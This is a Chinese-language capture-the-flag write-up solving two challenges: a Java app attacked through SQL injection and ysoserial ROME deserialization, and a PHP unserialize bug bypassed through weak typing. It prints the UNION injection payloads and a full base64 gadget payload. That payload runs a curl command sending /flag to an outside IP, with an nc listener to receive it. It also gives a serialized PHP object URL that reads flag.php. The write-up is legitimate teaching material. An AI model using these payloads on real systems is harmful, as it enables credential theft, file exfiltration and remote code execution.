1.think_java。
这道题目是道综合题,考了代码审计、sql注入、反序列化等知识点。
题目描述如下:
下载题目附件,发现是java程序,使用jd-gui进行反编译,如下图:
发现test.class中有调用swagger API,百度找到swagger的访问地址如:http://127.0.0.1:8081/swagger-ui.html 构造相关URL访问。
发现没有用户登录的数据,返回继续审计代码,查看SqlDict.class,发现代码中有sql语句,对应着swagger API的字典库功能,数据库名字叫myapp,在对应页面进行sql注入。
构造的payload如下所示:
myapp?a=1' union select group_concat(SCHEMA_NAME) from information_schema.schemata#
成功返回数据库信息:
myapp?a=1' union select group_concat(column_name) from information_schema.columns where table_name='user' and table_schema='myapp' #
成功返回数据库的表结构:
myapp?a=1' union select name from user#
成功返回用户名:
myapp?a=1' union select pwd from user#
成功返回用户密码:
进行登录测试,填入相应的账号密码:
返回数据如下:
{
"data": "Bearer rO0ABXNyABhjbi5hYmMuY29yZS5tb2RlbC5Vc2VyVm92RkMxewT0OgIAAkwAAmlkdAAQTGphdmEvbGFuZy9Mb25nO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyAA5qYXZhLmxhbmcuTG9uZzuL5JDMjyPfAgABSgAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAAAAAAAXQABmN0Zmh1Yg==",
"msg": "登录成功",
"status": 2,
"timestamps": 1635848438894
}
根据java反序列化数据的特征进行判断:
- 一段数据以rO0AB开头,你基本可以确定这串就是JAVA序列化base64加密的数据。
- 如果以aced开头,那么他就是这一段java序列化的16进制。
这是一串是JAVA序列化base64加密的数据,所以我们首先使用一下脚本进行解密:
import base64
f = "rO0ABXNyABhjbi5hYmMuY29yZS5tb2RlbC5Vc2VyVm92RkMxewT0OgIAAkwAAmlkdAAQTGphdmEvbGFuZy9Mb25nO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyAA5qYXZhLmxhbmcuTG9uZzuL5JDMjyPfAgABSgAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAAAAAAAXQABmN0Zmh1Yg=="
b = base64.b64decode(f).encode('hex')
print(b)
解密数据为:
aced000573720018636e2e6162632e636f72652e6d6f64656c2e55736572566f764643317b04f43a0200024c000269647400104c6a6176612f6c616e672f4c6f6e673b4c00046e616d657400124c6a6176612f6c616e672f537472696e673b78707372000e6a6176612e6c616e672e4c6f6e673b8be490cc8f23df0200014a000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b02000078700000000000000001740006637466687562
此时继续使用反序列化工具进行转换,转换结果如下,可以看到成功还原数据:
将上述的rO0AB数据当作用户Token输入尝试结如下,也成功返回用户信息:
此时,相反的流程如果我们想要攻击,必须先构造含有攻击语句的序列化数据,首先构造的攻击语句如下,其中IP地址要为一个可达的公网IP:
curl http://x.x.x.x:4444 -d @/flag
使用序列化工具进行转化:
Java -jar ysoserial-master.jar ROME "curl http://47.94.144.61:4444 -d @/flag" > jjwzzd.bin
再将转化的bin文件使用如下脚本进行base64加密,加密结果如下:
# !/usr/bin/python
# coding:utf-8
import base64
f = open('jjwzzd.bin', 'r')
b = base64.b64encode(f.read())
print(b)
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAAAIAAAACc3IAKGNvbS5zdW4uc3luZGljYXRpb24uZmVlZC5pbXBsLk9iamVjdEJlYW6CmQfedgSUSgIAA0wADl9jbG9uZWFibGVCZWFudAAtTGNvbS9zdW4vc3luZGljYXRpb24vZmVlZC9pbXBsL0Nsb25lYWJsZUJlYW47TAALX2VxdWFsc0JlYW50ACpMY29tL3N1bi9zeW5kaWNhdGlvbi9mZWVkL2ltcGwvRXF1YWxzQmVhbjtMAA1fdG9TdHJpbmdCZWFudAAsTGNvbS9zdW4vc3luZGljYXRpb24vZmVlZC9pbXBsL1RvU3RyaW5nQmVhbjt4cHNyACtjb20uc3VuLnN5bmRpY2F0aW9uLmZlZWQuaW1wbC5DbG9uZWFibGVCZWFu3WG7xTNPa3cCAAJMABFfaWdub3JlUHJvcGVydGllc3QAD0xqYXZhL3V0aWwvU2V0O0wABF9vYmp0ABJMamF2YS9sYW5nL09iamVjdDt4cHNyAB5qYXZhLnV0aWwuQ29sbGVjdGlvbnMkRW1wdHlTZXQV9XIdtAPLKAIAAHhwc3EAfgACc3EAfgAHcQB+AAxzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1ldAASTGphdmEvbGFuZy9TdHJpbmc7TAARX291dHB1dFByb3BlcnRpZXN0ABZMamF2YS91dGlsL1Byb3BlcnRpZXM7eHAAAAAA/3VyAANbW0JL/RkVZ2fbNwIAAHhwAAAAAnVyAAJbQqzzF/gGCFTgAgAAeHAAAAa9yv66vgAAADIAOQoAAwAiBwA3BwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5uZXJDbGFzc2VzAQA1THlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAJwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAoAQAzeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAfeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cwEACDxjbGluaXQ+AQARamF2YS9sYW5nL1J1bnRpbWUHACoBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAsAC0KACsALgEAJ2N1cmwgaHR0cDovLzQ3Ljk0LjE0NC42MTo0NDQ0IC1kIEAvZmxhZwgAMAEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsMADIAMwoAKwA0AQANU3RhY2tNYXBUYWJsZQEAHnlzb3NlcmlhbC9Qd25lcjE1NzU4MDEwMTI2NTMwMAEAIEx5c29zZXJpYWwvUHduZXIxNTc1ODAxMDEyNjUzMDA7ACEAAgADAAEABAABAA==
服务器运行如下命令监听相应的端口:
nc -lvvp 4444
2.AreUSerialz。
这是一道php反序列化的题目,重点在代码审计。题目如下:
访问题目发现是PHP代码,如下:
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
flag文件在flag.php中,我们的目标是读取到这个文件。我们审计代码可以发现全部代码只有一个str变量可以用户输入,在对str赋值之后,调用了unserialize()反序列化方法,此时会将序列化数据还原成对象。
此时需要知道,PHP在创建对象的时候会调用两个函数__construct()构造函数和__destruct()析构函数。此时就可以执行相关代码。
继续分析代码,假设我们已经向str传入了正确的序列化数据,此时进行反序列化操作创建对象,这样就了调用上面所说的两种函数。在调用构造函数是,变量op=“1”,此时在调用process()函数,通过if判断,继续执行write()方法。另外还会执行析构函数,此时会进行一个if判断,如果op === “2”,即数据类型和值都要一样,会将op设置为"1"。再去调用process()函数。此时又进行了if判断,我们又需要让op的值等于"2"取执行read()方法,这样我们就可以读取到flag.php。所以这里我们要进行绕过,又应用了PHP弱类型知识点。在执行析构函数的if判断是使用的是 3个=号,此时要求op的数据类型和值都要和"2"一致,此时我们可以让op = " 2",这样就能绕过if语句。继续,在process方法中,else if使用的是2个=进行判断,即只要求值相同,此时op = " 2",又可以顺利通过这条if语句判断,进而执行read()方法,读取到flag。
通过以上分析,我们可以知道读取flag的条件是:给str变量构造出序列化的值,其中op=’ 2’,filename=“flag.php”,content=“xxx”,所以编写脚本如下:
<?php
class FileHandler{
public $op=" 2";
public $filename="flag.php";
public $content="xxx";
}
$a = new FileHandler();
$b = serialize($a);
echo($b);
?>
运行结果如下:
O:11:"FileHandler":3:{s:2:"op";s:2:" 2";s:8:"filename";s:8:"flag.php";s:7:"content";s:3:"xxx";}
构造的payload如下:
http://challenge-464c6cef15576fc9.sandbox.ctfhub.com:10800/?str=O:11:%22FileHandler%22:3:{s:2:%22op%22;s:2:%22%202%22;s:8:%22filename%22;s:8:%22flag.php%22;s:7:%22content%22;s:3:%22xxx%22;}
执行成功后右键查看源代码,发现flag。